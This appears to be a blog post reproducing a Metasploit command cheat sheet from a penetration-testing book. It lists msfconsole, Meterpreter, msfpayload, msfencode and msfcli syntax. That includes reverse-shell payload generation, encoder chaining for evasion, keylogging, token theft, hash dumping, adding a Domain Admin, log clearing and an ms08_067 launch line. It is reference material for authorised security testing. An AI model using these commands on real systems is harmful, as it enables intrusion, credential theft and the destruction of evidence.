Metasploit Commands – CLI Index

I was going through the Metasploit The Penetration Tester’s Guide by David Kennedy,Jim O’Gorman, Devon Kearns and Mati Aharoni . Guys I must say it is worth reading .

This is a reference for the most frequently used commands and syntax within Metasploit’s various interfaces and utilities.

MSFconsole Commands:

Code:

show exploits

Show all exploits within the Framework.

Code:

show payloads

Show all payloads within the Framework.

Code:

show auxiliary

Show all auxiliary modules within the Framework.

Code:

search name

Search for exploits or modules within the Framework.

Code:

info

Load information about a specific exploit or module.

Code:

use name

Load an exploit or module (example: use windows/smb/psexec).

Code:

LHOST

Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells.

Code:

RHOST

The remote host or the target.

Code:

set function

Set a specific value (for example, LHOST or RHOST).

Code:

setg function

Set a specific value globally (for example, LHOST or RHOST).

Code:

show options

Show the options available for a module or exploit.

Code:

show targets

Show the platforms supported by the exploit.

Code:

set target num

Specify a specific target index if you know the OS and service pack.

Code:

set payload payload

Specify the payload to use.

Code:

show advanced

Show advanced options.

Code:

set autorunscript migrate -f

Automatically migrate to a separate process upon exploit completion.

Code:

check

Determine whether a target is vulnerable to an attack.

Code:

exploit

Execute the module or exploit and attack the target.exploit -j
Run the exploit under the context of the job. (This will run the exploit in the background.)

Code:

exploit -z

Do not interact with the session after successful exploitation.

Code:

exploit -e encoder

Specify the payload encoder to use (example: exploit –e shikata_ga_nai).

Code:

exploit -h

Display help for the exploit command.

Code:

sessions -l

List available sessions (used when handling multiple shells).

Code:

sessions -l -v

List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system.

Code:

sessions -s script

Run a specific Meterpreter script on all Meterpreter live sessions.

Code:

sessions -K

Kill all live sessions.

Code:

sessions -c cmd

Execute a command on all live Meterpreter sessions.

Code:

sessions -u sessionID

Upgrade a normal Win32 shell to a Meterpreter console.

Code:

db_create name

Create a database to use with database-driven attacks (example: db_create autopwn).

Code:

db_connect name

Create and connect to a database for driven attacks (example: db_connect autopwn).

Code:

db_nmap

Use nmap and place results in database. (Normal nmap syntax is supported, such as –sT –v –P0.)

Code:

db_autopwn -h

Display help for using db_autopwn.

Code:

db_autopwn -p -r -e

Run db_autopwn against all ports found, use a reverse shell, and exploit all systems.

Code:

db_destroy

Delete the current database.

Code:

db_destroy user:password@host:port/database

Delete database using advanced options.

Meterpreter Commands help:
Open Meterpreter usage help.

Code:

run scriptname

Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory.

Code:

sysinfo

Show the system information on the compromised target.

Code:

ls

List the files and folders on the target.

Code:

use priv

Load the privilege extension for extended Meterpreter libraries.

Code:

ps

Show all running processes and which accounts are associated with each process.

Code:

migrate PID

Migrate to the specific process ID (PID is the target process ID gained from the ps command).

Code:

use incognito

Load incognito functions. (Used for token stealing and impersonation on a target machine.)

Code:

list_tokens -u

List available tokens on the target by user.

Code:

list_tokens -g

List available tokens on the target by group.

Code:

impersonate_token DOMAIN_NAME\\USERNAME

Impersonate a token available on the target.

Code:

steal_token PID

Steal the tokens available for a given process and impersonate that token.drop_token Stop impersonating the current token.

Code:

getsystem

Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors.

Code:

shell

Drop into an interactive shell with all available tokens.

Code:

execute -f cmd.exe -i

Execute cmd.exe and interact with it.

Code:

execute -f cmd.exe -i -t

Execute cmd.exe with all available tokens.

Code:

execute -f cmd.exe -i -H -t

Execute cmd.exe with all available tokens and make it a hidden process.

Code:

rev2self

Revert back to the original user you used to compromise the target.

Code:

reg command

Interact, create, delete, query, set, and much more in the target’s registry.

Code:

setdesktop number

Switch to a different screen based on who is logged in.

Code:

screenshot

Take a screenshot of the target’s screen.

Code:

upload file

Upload a file to the target.

Code:

download file

Download a file from the target.

Code:

keyscan_start

Start sniffing keystrokes on the remote target.

Code:

keyscan_dump

Dump the remote keys captured on the target.

Code:

keyscan_stop

Stop sniffing keystrokes on the remote target.

Code:

getprivs

Get as many privileges as possible on the target.

Code:

uictl enable keyboard/mouse

Take control of the keyboard and/or mouse.

Code:

background

Run your current Meterpreter shell in the background.

Code:

hashdump

Dump all hashes on the target.

Code:

use sniffer

Load the sniffer module.

Code:

sniffer_interfaces

List the available interfaces on the target.

Code:

sniffer_dump interfaceID pcapname

Start sniffing on the remote target.

Code:

sniffer_start interfaceID packet-buffer

Start sniffing with a specific range for a packet buffer.

Code:

sniffer_stats interfaceID

Grab statistical information from the interface you are sniffing.

Code:

sniffer_stop interfaceID

Stop the sniffer.

Code:

add_user username password -h ip

Add a user on the remote target.

Code:

add_group_user "Domain Admins" username -h ip

Add a username to the Domain Administrators group on the remote target.

Code:

clearev

Clear the event log on the target machine.

Code:

timestomp

Change file attributes, such as creation date (antiforensics measure).

Code:

reboot

Reboot the target machine.

MSFpayload Commands:

Code:

msfpayload -h

List available payloads.

Code:

msfpayload windows/meterpreter/bind_tcp O

List available options for the windows/meterpreter/bind_tcp payload (all of these can use any payload).

Code:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe

Create a Meterpreter reverse_tcp payload to connect back to 192.168.1.5 and on port 443, and then save it as a Windows Portable Executable named payload.exe.

Code:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.raw

Same as above, but export as raw format. This will be used later in msfencode

Code:

msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c

Same as above but export as C-formatted shellcode.

Code:

msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java

Export as %u encoded JavaScript.

MSFencode Commands:

Code:

msfencode -h

Display the msfencode help.

Code:

msfencode -l

List the available encoders.

Code:

msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)

Format to display the encoded buffer.

Code:

msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe

Encode payload.raw with shikata_ga_nai five times and export it to an output file named encoded_payload.exe.

Code:

msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/ _countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe

Create a multi-encoded payload.

Code:

msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c

Create pure alphanumeric shellcode where ESI points to the shellcode; output in C-style notation.

MSFcli Commands:

Code:

msfcli | grep exploit

Show only exploits.

Code:

msfcli | grep exploit/windows

Show only Windows exploits.

Code:

 msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E

Launch ms08_067_netapi exploit at 172.16.32.142 with a bind_tcp payload being delivered to listen on port 443.